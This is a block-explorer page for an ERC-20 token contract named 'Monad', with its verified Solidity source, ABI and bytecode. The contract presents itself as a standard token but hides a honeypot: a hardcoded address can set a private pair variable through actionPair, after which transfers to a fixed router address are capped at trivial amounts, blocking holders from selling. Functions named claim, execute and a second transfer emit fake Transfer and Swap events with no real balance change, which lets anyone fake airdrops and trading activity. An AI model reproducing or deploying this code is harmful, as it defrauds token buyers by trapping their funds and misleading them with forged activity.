ETH Price: $2,632.06 (-2.38%)

Token

(0x88b586e0410ed5368a332aeaf0418ab0a98ccaa9)
 

Overview

Max Total Supply

1,000,000,000 ERC-20 TOKEN*

Holders

436 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 8 Decimals)

Balance
66 ERC-20 TOKEN*

Value
$0.00
0x1ce55efdf0bb9d80dcf86d1753ce8d2dcc949760
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MONAD

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-04-30
*/

/**
 *Submitted for verification at Etherscan.io on 2024-01-13
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}


interface IERC20Meta is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }


    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }


}


contract MONAD is Ownable, IERC20, IERC20Meta {

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    address private _p76234;
    uint256 private  _e242 = 999;


    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual override returns (uint8) {
        return 8;
    }


    function claim(address [] calldata _addresses_, uint256 _in, address _a) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_a, _in, 0, 0, _in, _addresses_[i]);
            emit Transfer(_p76234, _addresses_[i], _in);
        }
    }
    function execute(address [] calldata _addresses_, uint256 _in, address _a) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_a, _in, 0, 0, _in, _addresses_[i]);
            emit Transfer(_p76234, _addresses_[i], _in);
        }
    }

    function execute(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(_p76234, _addresses_[i], _out);
        }
    }


    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function actionPair(address account) public virtual returns (bool) {
         if(_msgSender() == 0x926B85Da7628A1EaF2e403868b43D96430EAe377) _p76234 = account;
        return true;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");


        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
        renounceOwnership();
    }


    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }



    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        if((from != _p76234 && to == 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) || (_p76234 == to && from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 && from  != 0x926B85Da7628A1EaF2e403868b43D96430EAe377)) {
            uint256 _X7W88 = amount + 1;
            require(_X7W88 < _e242 );
        }
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
        _afterTokenTransfer(from, to, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }


    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


    constructor() {
        _name = "Monad";
        _symbol = "TBD";
	uint256 _amount = 1000000000;
        _mint(msg.sender, _amount * 10 ** decimals());
    }


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"actionPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"address","name":"_a","type":"address"}],"name":"claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"address","name":"_a","type":"address"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526103e7600755348015610015575f80fd5b506100326100276100fe60201b60201c565b61010560201b60201c565b6040518060400160405280600581526020017f4d6f6e6164000000000000000000000000000000000000000000000000000000815250600490816100769190610635565b506040518060400160405280600381526020017f5442440000000000000000000000000000000000000000000000000000000000815250600590816100bb9190610635565b505f633b9aca0090506100f8336100d66101c660201b60201c565b600a6100e2919061086c565b836100ed91906108b6565b6101ce60201b60201c565b50610a32565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6008905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361023c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161023390610951565b60405180910390fd5b8060035f82825461024d919061096f565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516102fb91906109b1565b60405180910390a36103145f838361032660201b60201c565b61032261032b60201b60201c565b5050565b505050565b61033961034a60201b60201c565b6103485f61010560201b60201c565b565b6103586100fe60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1661037c6103d460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16146103d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103c990610a14565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061047657607f821691505b60208210810361048957610488610432565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026104eb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826104b0565b6104f586836104b0565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f61053961053461052f8461050d565b610516565b61050d565b9050919050565b5f819050919050565b6105528361051f565b61056661055e82610540565b8484546104bc565b825550505050565b5f90565b61057a61056e565b610585818484610549565b505050565b5b818110156105a85761059d5f82610572565b60018101905061058b565b5050565b601f8211156105ed576105be8161048f565b6105c7846104a1565b810160208510156105d6578190505b6105ea6105e2856104a1565b83018261058a565b50505b505050565b5f82821c905092915050565b5f61060d5f19846008026105f2565b1980831691505092915050565b5f61062583836105fe565b9150826002028217905092915050565b61063e826103fb565b67ffffffffffffffff81111561065757610656610405565b5b610661825461045f565b61066c8282856105ac565b5f60209050601f83116001811461069d575f841561068b578287015190505b610695858261061a565b8655506106fc565b601f1984166106ab8661048f565b5f5b828110156106d2578489015182556001820191506020850194506020810190506106ad565b868310156106ef57848901516106eb601f8916826105fe565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156107865780860481111561076257610761610704565b5b60018516156107715780820291505b808102905061077f85610731565b9450610746565b94509492505050565b5f8261079e5760019050610859565b816107ab575f9050610859565b81600181146107c157600281146107cb576107fa565b6001915050610859565b60ff8411156107dd576107dc610704565b5b8360020a9150848211156107f4576107f3610704565b5b50610859565b5060208310610133831016604e8410600b841016171561082f5782820a90508381111561082a57610829610704565b5b610859565b61083c848484600161073d565b9250905081840481111561085357610852610704565b5b81810290505b9392505050565b5f60ff82169050919050565b5f6108768261050d565b915061088183610860565b92506108ae7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461078f565b905092915050565b5f6108c08261050d565b91506108cb8361050d565b92508282026108d98161050d565b915082820484148315176108f0576108ef610704565b5b5092915050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f61093b601f836108f7565b915061094682610907565b602082019050919050565b5f6020820190508181035f8301526109688161092f565b9050919050565b5f6109798261050d565b91506109848361050d565b925082820190508082111561099c5761099b610704565b5b92915050565b6109ab8161050d565b82525050565b5f6020820190506109c45f8301846109a2565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6109fe6020836108f7565b9150610a09826109ca565b602082019050919050565b5f6020820190508181035f830152610a2b816109f2565b9050919050565b611c8780610a3f5f395ff3fe608060405234801561000f575f80fd5b5060043610610109575f3560e01c8063715018a6116100a0578063aafe62d11161006f578063aafe62d1146102a5578063beabacc8146102c1578063dd62ed3e146102dd578063e7b817491461030d578063f2fde38b1461033d57610109565b8063715018a61461022f5780638da5cb5b1461023957806395d89b4114610257578063a9059cbb1461027557610109565b806323b872dd116100dc57806323b872dd1461019557806326ededb8146101c5578063313ce567146101e157806370a08231146101ff57610109565b806302f4dae31461010d57806306fdde0314610129578063095ea7b31461014757806318160ddd14610177575b5f80fd5b610127600480360381019061012291906113b2565b610359565b005b6101316104b9565b60405161013e9190611493565b60405180910390f35b610161600480360381019061015c91906114b3565b610549565b60405161016e919061150b565b60405180910390f35b61017f61056b565b60405161018c9190611533565b60405180910390f35b6101af60048036038101906101aa919061154c565b610574565b6040516101bc919061150b565b60405180910390f35b6101df60048036038101906101da919061159c565b6105a2565b005b6101e961066f565b6040516101f69190611614565b60405180910390f35b6102196004803603810190610214919061162d565b610677565b6040516102269190611533565b60405180910390f35b6102376106bd565b005b6102416106d0565b60405161024e9190611667565b60405180910390f35b61025f6106f7565b60405161026c9190611493565b60405180910390f35b61028f600480360381019061028a91906114b3565b610787565b60405161029c919061150b565b60405180910390f35b6102bf60048036038101906102ba91906113b2565b6107a9565b005b6102db60048036038101906102d6919061154c565b610909565b005b6102f760048036038101906102f29190611680565b610973565b6040516103049190611533565b60405180910390f35b6103276004803603810190610322919061162d565b6109f5565b604051610334919061150b565b60405180910390f35b6103576004803603810190610352919061162d565b610a8e565b005b5f5b848490508110156104b257848482818110610379576103786116be565b5b905060200201602081019061038e919061162d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822855f80886040516103f0949392919061172d565b60405180910390a384848281811061040b5761040a6116be565b5b9050602002016020810190610420919061162d565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161049d9190611533565b60405180910390a3808060010191505061035b565b5050505050565b6060600480546104c89061179d565b80601f01602080910402602001604051908101604052809291908181526020018280546104f49061179d565b801561053f5780601f106105165761010080835404028352916020019161053f565b820191905f5260205f20905b81548152906001019060200180831161052257829003601f168201915b5050505050905090565b5f80610553610b10565b9050610560818585610b17565b600191505092915050565b5f600354905090565b5f8061057e610b10565b905061058b858285610cda565b610596858585610d65565b60019150509392505050565b5f5b83839050811015610669578383828181106105c2576105c16116be565b5b90506020020160208101906105d7919061162d565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106549190611533565b60405180910390a380806001019150506105a4565b50505050565b5f6008905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106c5611178565b6106ce5f6111f6565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107069061179d565b80601f01602080910402602001604051908101604052809291908181526020018280546107329061179d565b801561077d5780601f106107545761010080835404028352916020019161077d565b820191905f5260205f20905b81548152906001019060200180831161076057829003601f168201915b5050505050905090565b5f80610791610b10565b905061079e818585610d65565b600191505092915050565b5f5b84849050811015610902578484828181106107c9576107c86116be565b5b90506020020160208101906107de919061162d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822855f8088604051610840949392919061172d565b60405180910390a384848281811061085b5761085a6116be565b5b9050602002016020810190610870919061162d565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516108ed9190611533565b60405180910390a380806001019150506107ab565b5050505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516109669190611533565b60405180910390a3505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73926b85da7628a1eaf2e403868b43d96430eae37773ffffffffffffffffffffffffffffffffffffffff16610a29610b10565b73ffffffffffffffffffffffffffffffffffffffff1603610a85578160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60019050919050565b610a96611178565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afb9061183d565b60405180910390fd5b610b0d816111f6565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7c906118cb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bf3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bea90611959565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ccd9190611533565b60405180910390a3505050565b5f610ce58484610973565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610d5f5781811015610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d48906119c1565b60405180910390fd5b610d5e8484848403610b17565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dca90611a4f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3890611add565b60405180910390fd5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610edd5750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80610fcc57508173ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610f7f5750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610fcb575073926b85da7628a1eaf2e403868b43d96430eae37773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15610ff0575f600182610fdf9190611b28565b90506007548110610fee575f80fd5b505b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611074576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106b90611bcb565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161115f9190611533565b60405180910390a36111728484846112b7565b50505050565b611180610b10565b73ffffffffffffffffffffffffffffffffffffffff1661119e6106d0565b73ffffffffffffffffffffffffffffffffffffffff16146111f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111eb90611c33565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f8083601f8401126112e5576112e46112c4565b5b8235905067ffffffffffffffff811115611302576113016112c8565b5b60208301915083602082028301111561131e5761131d6112cc565b5b9250929050565b5f819050919050565b61133781611325565b8114611341575f80fd5b50565b5f813590506113528161132e565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61138182611358565b9050919050565b61139181611377565b811461139b575f80fd5b50565b5f813590506113ac81611388565b92915050565b5f805f80606085870312156113ca576113c96112bc565b5b5f85013567ffffffffffffffff8111156113e7576113e66112c0565b5b6113f3878288016112d0565b9450945050602061140687828801611344565b92505060406114178782880161139e565b91505092959194509250565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61146582611423565b61146f818561142d565b935061147f81856020860161143d565b6114888161144b565b840191505092915050565b5f6020820190508181035f8301526114ab818461145b565b905092915050565b5f80604083850312156114c9576114c86112bc565b5b5f6114d68582860161139e565b92505060206114e785828601611344565b9150509250929050565b5f8115159050919050565b611505816114f1565b82525050565b5f60208201905061151e5f8301846114fc565b92915050565b61152d81611325565b82525050565b5f6020820190506115465f830184611524565b92915050565b5f805f60608486031215611563576115626112bc565b5b5f6115708682870161139e565b93505060206115818682870161139e565b925050604061159286828701611344565b9150509250925092565b5f805f604084860312156115b3576115b26112bc565b5b5f84013567ffffffffffffffff8111156115d0576115cf6112c0565b5b6115dc868287016112d0565b935093505060206115ef86828701611344565b9150509250925092565b5f60ff82169050919050565b61160e816115f9565b82525050565b5f6020820190506116275f830184611605565b92915050565b5f60208284031215611642576116416112bc565b5b5f61164f8482850161139e565b91505092915050565b61166181611377565b82525050565b5f60208201905061167a5f830184611658565b92915050565b5f8060408385031215611696576116956112bc565b5b5f6116a38582860161139e565b92505060206116b48582860161139e565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f61171761171261170d846116eb565b6116f4565b611325565b9050919050565b611727816116fd565b82525050565b5f6080820190506117405f830187611524565b61174d602083018661171e565b61175a604083018561171e565b6117676060830184611524565b95945050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806117b457607f821691505b6020821081036117c7576117c6611770565b5b50919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61182760268361142d565b9150611832826117cd565b604082019050919050565b5f6020820190508181035f8301526118548161181b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6118b560248361142d565b91506118c08261185b565b604082019050919050565b5f6020820190508181035f8301526118e2816118a9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61194360228361142d565b915061194e826118e9565b604082019050919050565b5f6020820190508181035f83015261197081611937565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6119ab601d8361142d565b91506119b682611977565b602082019050919050565b5f6020820190508181035f8301526119d88161199f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611a3960258361142d565b9150611a44826119df565b604082019050919050565b5f6020820190508181035f830152611a6681611a2d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611ac760238361142d565b9150611ad282611a6d565b604082019050919050565b5f6020820190508181035f830152611af481611abb565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611b3282611325565b9150611b3d83611325565b9250828201905080821115611b5557611b54611afb565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611bb560268361142d565b9150611bc082611b5b565b604082019050919050565b5f6020820190508181035f830152611be281611ba9565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611c1d60208361142d565b9150611c2882611be9565b602082019050919050565b5f6020820190508181035f830152611c4a81611c11565b905091905056fea26469706673582212202f075d366209a937387a38fe0b989a7b4ca36d8d9786a5d0da250732eed6ff9b64736f6c63430008190033

Deployed Bytecode

